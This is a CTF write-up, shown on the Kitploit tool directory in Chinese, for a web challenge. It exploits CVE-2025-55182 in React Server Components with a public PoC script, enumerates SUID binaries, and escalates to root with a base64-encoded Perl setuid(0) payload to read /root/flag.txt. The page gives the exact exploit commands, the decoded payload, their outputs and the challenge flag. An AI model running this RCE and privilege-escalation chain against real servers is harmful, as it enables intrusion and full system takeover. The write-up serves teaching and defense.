Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Explosive-As-Hell-MCS-Qualifer-Web-500 — [First-Blood-XO] React Server Component 端点存在 CVE-2025-55182 漏洞(远程代码执行)→ 枚举 SUID 二进制文件 → /usr/bin/perl 设置了 SUID → 使用 Perl 的 POSIX setuid(0) 提权至 root → 读取 /root/flag.txt | Kitploit
工具/GitHubGitHub/abdullahmaqbool22/explosive-as-hell-mcs-qualifer-web-500
权限提升侦察漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试学习与教育二进制利用

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
实验室与实践
GitHubabdullahmaqbool22/explosive-as-hell-mcs-qualifer-web-500

Explosive-As-Hell-MCS-Qualifer-Web-500

[First-Blood-XO] React Server Component 端点存在 CVE-2025-55182 漏洞(远程代码执行)→ 枚举 SUID 二进制文件 → /usr/bin/perl 设置了 SUID → 使用 Perl 的 POSIX setuid(0) 提权至 root → 读取 /root/flag.txt

查看仓库
14个月前尚未审核

CVE-2025-55182 — React Server Components RCE | CTF 解题报告

分类: Web 漏洞利用 | 难度: 中等 | 漏洞类型: 远程代码执行 → SUID 权限提升


TL;DR

React Server Components 端点存在 CVE-2025-55182 漏洞(RCE)→ 枚举 SUID 二进制 → /usr/bin/perl 设置了 SUID 位 → 使用 Perl 的 POSIX setuid(0) 提升至 root → 读取 /root/flag.txt。

Flag: MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}


第一步 — 侦察

目标: http://challenge.cybermesh.site:30035/

目标是一个基于 React 的 Web 应用,使用了 React Server Components (RSC) —— 一种相对较新的架构,组件在服务端执行,并通过自定义序列化格式将输出流式传输到客户端。

这种架构引入了一个服务端执行边界。CVE-2025-55182 正是利用了这个边界上不当的输入处理。


第二步 — 漏洞:CVE-2025-55182

React Server Components RCE——服务器在用户控制的输入到达服务端组件执行层之前,未能对其进行清理。这使得攻击者能够注入操作系统级外壳命令,这些命令在 Node.js 进程上下文中执行。

攻击流程:

  1. 攻击者构造恶意的 RSC 载荷
  2. 服务器反序列化输入,并将未清理的值传递给服务端组件函数
  3. 操作系统命令执行,输出流回 RSC 响应
  4. 攻击者从响应体中读取命令输出

第三步 — 漏洞利用准备

该 CVE 有公开的 PoC:

root@kitploit:~
git clone https://github.com/surajhacx/react2shellpoc.git
cd react2shellpoc

初始验证——确认 RCE 和执行上下文:

root@kitploit:~
python exploit.py -t http://challenge.cybermesh.site:30035/ -c "whoami"

输出:

root@kitploit:~
[+] EXPLOITATION SUCCESSFUL

  ► app

服务器以用户 app 身份运行。不是 root——需要提权。


第四步 — SUID 枚举

扫描 SUID 二进制文件:

root@kitploit:~
python exploit.py -t http://challenge.cybermesh.site:30035/ \
  -c "find /bin /usr/bin /sbin /usr/sbin -perm -4000 2>/dev/null || true"

输出:

root@kitploit:~
[+] EXPLOITATION SUCCESSFUL

  ► /usr/bin/gpasswd
  ► /usr/bin/perl       <--- !!!
  ► /usr/bin/chsh
  ► /usr/bin/su
  ► /usr/bin/chfn
  ► /usr/bin/umount
  ► /usr/bin/mount
  ► /usr/bin/passwd
  ► /usr/bin/newgrp

/usr/bin/perl 设置了 SUID 位。这是一个众所周知的 GTFOBin —— 当 Perl 属于 root 并设置了 SUID 时,无论谁调用它,它都会以 root 权限执行。


第五步 — 通过 SUID Perl 进行权限提升

构造一个 base64 编码的 Perl 载荷,其作用包括:

  • 设置 PATH
  • 调用 POSIX::setuid(0) 提升至 root
  • 打开并读取 /root/flag.txt

通过 RCE 端点发送:

root@kitploit:~
python exploit.py \
  -t http://challenge.cybermesh.site:30035/ \
  -c "echo dXNlIFBPU0lYOyRFTlZ7UEFUSH09Jy9iaW46L3Vzci9iaW4nO3NldHVpZCgwKTtvcGVuKG15JHZkQzlmbGFnLCc8JywgJy9yb290L2ZsYWcudHh0Jyk7cHJpbnQgd2hpbGUoPCR2ZEM+KTs= | base64 -d > /tmp/p.pl && /usr/bin/perl /tmp/p.pl"

解码后的载荷大致为:

root@kitploit:~
use POSIX;
$ENV{PATH}='/bin:/usr/bin';
setuid(0);
open(my $vdC9flag,'<', '/root/flag.txt');
print while(<$vdC9flag>);

输出:

root@kitploit:~
[+] EXPLOITATION SUCCESSFUL

  ► MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}

Flag

root@kitploit:~
MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}

关键要点

1. RSC 的攻击面被低估了。 React Server Components 是一种新范式。许多部署在服务端组件边界上并未对输入注入进行加固。这个 CVE 提醒我们,“服务端渲染”本身并不安全——执行边界仍然需要适当的清理。

2. 脚本运行时上的 SUID = 瞬间获得 root。 /usr/bin/perl 设置 SUID 是一个典型的配置错误。GTFOBins 中有详细说明。永远不要对脚本语言(Perl、Python、Ruby 等)设置 SUID 位——与专为 SUID 设计的编译二进制文件(su、passwd)不同,这些运行时提供了简单的提权路径。

3. Flag 本身具有自嘲意味。 SU1D_AR3_FUN_BUT_N0T_EVERYTIM3——这个挑战明确地设计为通过 SUID Perl 作为预期提权路径。干净的攻击链。


攻击链总结

root@kitploit:~
CVE-2025-55182 (RSC RCE)
    └─> whoami → 用户 "app"
    └─> 查找 SUID 二进制文件
    └─> 发现 /usr/bin/perl (SUID root)
    └─> base64 Perl 载荷 → 写入 /tmp/p.pl
    └─> SUID perl /tmp/p.pl → setuid(0) → cat /root/flag.txt
    └─> FLAG ✓

参考资料

  • github.com/surajhacx/react2shellpoc
  • GTFOBins — perl SUID
  • NVD — CVE-2025-55182

作者:Abdullah Maqbool — 渗透测试工程师 @ TISS | CRTA · CRTOM · CompTIA PenTest+

下载工具